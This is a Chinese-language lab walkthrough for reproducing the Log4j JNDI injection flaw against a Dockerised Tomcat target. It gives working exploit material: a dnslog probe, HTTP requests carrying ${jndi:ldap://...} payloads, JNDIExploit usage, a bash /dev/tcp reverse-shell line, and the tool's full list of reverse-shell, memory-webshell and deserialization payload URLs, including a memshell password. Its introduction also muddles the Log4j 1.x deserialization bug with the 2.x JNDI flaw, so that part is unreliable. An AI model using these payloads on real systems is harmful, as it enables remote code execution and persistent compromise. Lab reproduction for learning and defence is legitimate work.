log4j漏洞复现

log4j简介

Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。
Log4j 1.2 中包含一个 SocketServer 类，该类容易受到不可信数据反序列化的影响，当侦听不可信网络流量以获取日志数据时，该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。
这会影响从 1.2 到 2.14 的 Log4j 版本。

log4j环境搭建

• log4漏洞环境搭建（需要docker）

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

漏洞检测-dnslog

测试命令

${jndi:ldap://6zb6jy.dnslog.cn}

测试过程中，使用post数据包，添加Content-type:application/x-www-form-urlencoded

POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E35340901
Content-type:application/x-www-form-urlencoded
Connection: close
Content-Length: 33
cmd:whoami

c=${jndi:ldap://6zb6jy.dnslog.cn}

dnslog平台成功回显，证明系统存在log4j漏洞

命令执行

使用JNDI利用工具

java -jar JNDIExploit-1.3-SNAPSHOT-2.jar -i local_ip_address(vps地址)

header:Content-type: application/x-www-form-urlencoded

header:Content-type: application/x-www-form-urlencoded
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
cmd:whoami
cmd:bash -i >& /dev/tcp/0.0.0.0/2333 0>&1

POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E3534090
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
cmd:whoami

c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}

成功执行命令并回显

//JNDIExploit-1.3-SNAPSHOT-2.jar 工具存在的paylaod
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
    ldap://0.0.0.0:1389/Basic/Command/[cmd]
    ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Basic/TomcatEcho
    ldap://0.0.0.0:1389/Basic/SpringEcho
    ldap://0.0.0.0:1389/Basic/WeblogicEcho
    ldap://0.0.0.0:1389/Basic/TomcatMemshell1
    ldap://0.0.0.0:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/Basic/JettyMemshell
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
    ldap://0.0.0.0:1389/Basic/JBossMemshell
    ldap://0.0.0.0:1389/Basic/WebsphereMemshell
    ldap://0.0.0.0:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
    ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
    ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
    ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
    ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3  /ateam  pass1024
    ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
    ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp